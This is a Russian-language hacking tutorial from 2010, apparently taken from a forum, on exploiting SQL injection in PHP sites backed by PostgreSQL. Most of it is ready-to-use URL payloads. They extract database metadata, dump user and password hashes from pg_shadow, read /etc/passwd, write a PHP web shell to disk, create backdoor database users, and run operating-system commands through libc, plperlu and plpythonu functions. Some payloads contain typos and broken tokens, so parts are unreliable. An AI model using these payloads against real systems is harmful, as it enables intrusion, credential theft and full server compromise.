PostgreSQL SQL Injection

2010-07-03T00:00:00
ID RDOT:24
Type rdot
Reporter Ded MustD!e
Modified 2010-07-03T00:00:00

Description

SQL-Injection в PostgreSQL

::Ошибки::

Итак, мы подставили в параметр кавычку, и что мы видим? Вот типичные ошибки, с которыми мы будем работать:

Код:

Warning: pg_query(): Query failed: ERROR: syntax error at or near "\" at character...
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" at character...
[Warning] pg_query(): Query failed: ERROR: unterminated quoted string at or near "'" at character...
Warning: PostgreSQL query failed: ERROR: parser: parse error at or near "\" in...

Наличие этих ошибок на 90% гарантирует нам возможность проведения инъекции.

::Комментарии и пробелы::

Пробельные символы можно использовать те же, что и в MySQL, а вот с комментариями дело обстоит несколько иначе, в PostgreSQL обрубать запрос комментарием "/*" не получится. Он ругнется на это ошибкой:

Код:

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated /* comment at or near "/*"

так как такой комментарий обязательно должен быть закрыт. В связи с этим будем использовать "--", который закомментирует после себя всё до конца строки.

::Вывод системной информации::

Аналогов команды user() из MySQL в PostgreSQL аж целых 4 штуки:

user
current_user
session_user
getpgusername()

Вывод версии: version()
Вывод базы данных: current_database()
Вывод IP сервера БД: inet_server_addr()
Вывод порта сервера БД: inet_server_port() (по дефолту 5432)

Выводим необходимую информацию, это удобно сделать одним запросом:

Код:

http://www.site.com/index.php?id=27+and+1=cast((SELECT+version()||chr(58)||current_user||chr(58)||current_database())+as+int)--

И получим например такой ответ сервера:

Код:

Warning: pg_query(): Query failed: ERROR: invalid input syntax for integer: 
"PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9):ed:sedbtac" in...

Здесь версия - это PostgreSQL 7.4.19 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-9)
Юзер - ed
БД - sedbtac

Тут стоит обратить внимание на сам запрос, PostgreSQL очень ревностно относится к типам данных, поэтому результат надо искусственно приводить к требуемому (в смысле к тому, который требуется нам=)) типу данных. Это можно делать функцией cast(выражение+as+тип), либо использовать специфическую конструкцию "выражение::тип", которая присутствует там по историческим мотивам). Например id=27+and+1=version()::int--

Две прямые черты "||" объединяют всё в одну строку, chr(58) - это разделитель ":".

Так как PostgreSQL поддерживает разделение запросов с помощью символа ";", то можно например вывести версию альтернативным способом:

id=27;select+version()::int--

либо

id=27;select+cast(version()+as+int)--

::Подбор количества колонок::

Колонки можно подбирать несколькими способами.

1.Используя конструкцию ORDER BY:

id=27+order+by+100--

В случае меньшего числа колонок возвратится ошибка:

Код:

Warning: pg_query(): Query failed: ERROR: ORDER BY position 100 is not in select list in...

2.ORDER BY за один запрос (способ, который предложил IceAngel):

id=27+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,...

Отнимаем от выведенного числа единицу и получаем количество колонок.

3.Можно подбирать сразу конструкцией UNION+SELECT+NULL:

id=27+union+select+null,null,null,...

пока не исчезнет ошибка.

4.Либо подбирать подставляя цифры как и в MySQL:

id=27+union+select+1,2,3,...

При этом, если число колонок неправильное, то возвратится ошибка:

Код:

Warning: pg_query(): Query failed: ERROR: each UNION query must have the same number of columns in...

А если число колонок верное, так как типизация тут строгая, то возвратиться ошибка о неправильном приведении типов, например:

Код:

Warning: pg_query(): Query failed: ERROR: UNION types date and integer cannot be matched in...

Из всех перечисленных выше методов рациональнее, конечно, использовать конструкцию ORDER BY.

::Системные таблицы::

Подбирать колонки мы научились, осталось узнать как, и собственно, откуда выводить.

Рассмотрим полезные системные таблицы в PostgreSQL:

1. pg_user

Поле*(Тип)*Описание
usename (name) - Имя пользователя
usesysid (int4) - Id
usecreatedb (bool) - Может ли пользователь создавать БД
usesuper (bool) - Имеет ли пользователь привилегии superuser
usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
passwd (text) - Пароль (здесь содержатся звездочки "*", а не пароль, по сути такая же аналогия как и в /etc/passwd и /etc/shadow)
valuntil
*(abstime)
- Время истечения аккаунта (имеется ввиду, сколько живет сессия юзера при использовании аутентификации паролем)
useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы

Как мы видим, информация из этой таблицы носит скорее информативный характер, так как пароль содержится в другой таблице:

2. pg_shadow

Поле*(Тип)*Описание
usename (name) - Имя пользователя
usesysid (int4) - Id
usecreatedb (bool) - Может ли пользователь создавать БД
usesuper (bool) - Имеет ли пользователь привилегии superuser
usecatupd (bool) - Может ли пользователь вносить изменения в системные таблицы
passwd (text) - Пароль
valuntil (abstime) - Время истечения пароля
useconfig (text[]) - Дефолтная сессия для переменных конфигурации во время работы

Именно из pg_shadow мы можем выводить пароли пользователей БД (аналог mysql.user), но чаще всего доступа к этой таблице нету.

3. pg_database

В этой таблице, нас интересует только одно поле - datname, в котором хранятся имена доступных баз данных.

4. information_schema.tables и information_schema.columns

Тут всё стандартно, те же имена полей (table_name, column_name, table_schema...).

::Вывод информации::

Вот и добрались мы наконец-то до вывода, касаемо конструкций тут всё схоже с MySQL и MSSQL, например, чтобы вывести имя таблицы из information_schema.tables нам потребуется сделать, к примеру, такой запрос:

id=27+union+select+1,table_name,3,...+from+informa tion_schema.tables--

А вот для того, чтобы перебирать значения полей, просто limit+1,1 тут не прокатит, необходимо использовать следующую конструкцию:

id=27+union+select+1,table_name,3,...+from+informa tion_schema.tables+limit+1+offset+1--

При этом перебираем мы тут параметром offset.

Если требуется вывести имена колонок конкретной таблицы, делаем стандартный запрос:

id=27+union+select+1,column_name,3,...+from+inform ation_schema.columns+where+table_name='имя_та блицы'

Но так как кавычки, скорее всего, фильтруются, то у нас есть 2 выхода, во-первых можно перевести имя таблицы в chr(), например если мы хотим получить название колонок таблицы pg_user, то запрос будет:

...+where+table_name=CHR(112)||CHR(103)||CHR(95)|| CHR(117)||CHR(115)||CHR(101)||CHR(114)

Но в PostgreSQL, начиная с версии 8 появилась очень удобная фича (моя мечта - такая же фишка в MySQL), вместо кавычек можно использовать два подряд идущих знака доллара, то есть сработает такая конструкция:

...+where+table_name=$$имя_таблицы$$

Функции concat() в PostgreSQL нет, конкатенация строк осуществляется с помощью двух прямых палок "||", например

id=27+union+select+usename||chr(58)||passwd,null,n ull,null,null,null+from+pg_user--

Доступна конструкция LIKE:

id=27+union+select+table_name,null,null,null,null, null+from+information_schema.columns+where+column_ name+LIKE+$$%password%$$--

При этом %password% должно быть заключено в кавычки.

Конструкция IF используется только во внутренних функциях, и бесполезна для проведения инъекций, вместо неё можно использовать оператор CASE:

Код:

CASE WHEN condition THEN result
     [WHEN ...]
     [ELSE result]
END

Например:

id=27+and+1=cast((SELECT+CASE+WHEN+(1=1)+THEN+$$A$ $+ELSE+$$B$$+END)+as+int)--

Такое выражение в результате вернет нам "А".

Можно использовать альтернативный вывод:

id=27;select+cast(usename||chr(58)||passwd+as+int) +from+pg_user--

Но в ответе мы увидим только первую запись, а перебирать их через +limit+1+offset не получится.

::Выполнение команд::

Ну и на последок самое интересное, выполнение команд к БД, для этого нужно иметь привилегии usesuper.

С помощью выполнения команд можно делать всё что угодно, от чтения файлов на сервере, до заливки шелла, были бы права)
В PostgreSQL, также как и в MSSQL, можно разделять запросы с помощью точки с запятой - ";".

Читаем /etc/passwd:

id=27;CREATE TABLE aaaa(b text); /создаем таблицу "аааа" с колонкой "b" типа text/
id=27;COPY аааа FROM '/etc/passwd'; /копируем в таблицу "аааа" содержимое /etc/passwd/
id=27+union+select+b+from+aaaa+limit+1+offset+0-- /читаем содержимое таблицы/
id=27;DROP TABLE aaaa; /чистим за собой, удаляем таблицу "аааа"/

Заливаем шелл:

id=27;CREATE TABLE аааа (b text); /создаем таблицу "аааа" с колонкой "b" типа text/
id=27;INSERT INTO аааа(b) VALUES ('<? pasthru($_GET[cmd]); ?>'); /вставляем в поле "b" таблицы "аааа" ядовитый код/
id=27;COPY аааа (b) TO '/tmp/shell.php'; /копируем содержимое поля "b" в файл shell.php/
id=27;DROP TABLE aaaa; /чистим за собой, удаляем таблицу "аааа"/

Создаём нового пользователя:

id=27;CREATE USER hacker PASSWORD 'mypass';

Даём юзеру права на создание новых БД и новых пользователей:

id=27;ALTER USER test1 CREATEUSER CREATEDB;

::Создание функций::

1.В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки:

Создаем таблицу stdout с колонками id,system_out.

Цитата:

CREATE TABLE stdout(id serial, system_out text)--

Создаем функцию system().

Цитата:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT--

Выполняем произвольную команду и записываем результат её выполнения в /tmp/test.

Цитата:

SELECT system('uname -a > /tmp/test')--

Копируем данные из /tmp/test в таблицу stdout.

Цитата:

COPY stdout(system_out) FROM '/tmp/test'--

Выводим данные на экран.

Цитата:

UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

2.Чуть подругому через plperl:

Создаем язык, если он не был создан.

Цитата:

CREATE LANGUAGE plperlu

Создаем функцию spyder().

Цитата:

CREATE FUNCTION spyder(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;

Выполняем команду и выводим на экран.

Цитата:

SELECT+spyder('uname -a')::int--

3.И напоследок через plpython:

Создаем функцию spyder().

Цитата:

CREATE FUNCTION spyder(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--

Наслаждаемся выполнением команд)

Цитата:

SELECT+spyder('uname -a')::int--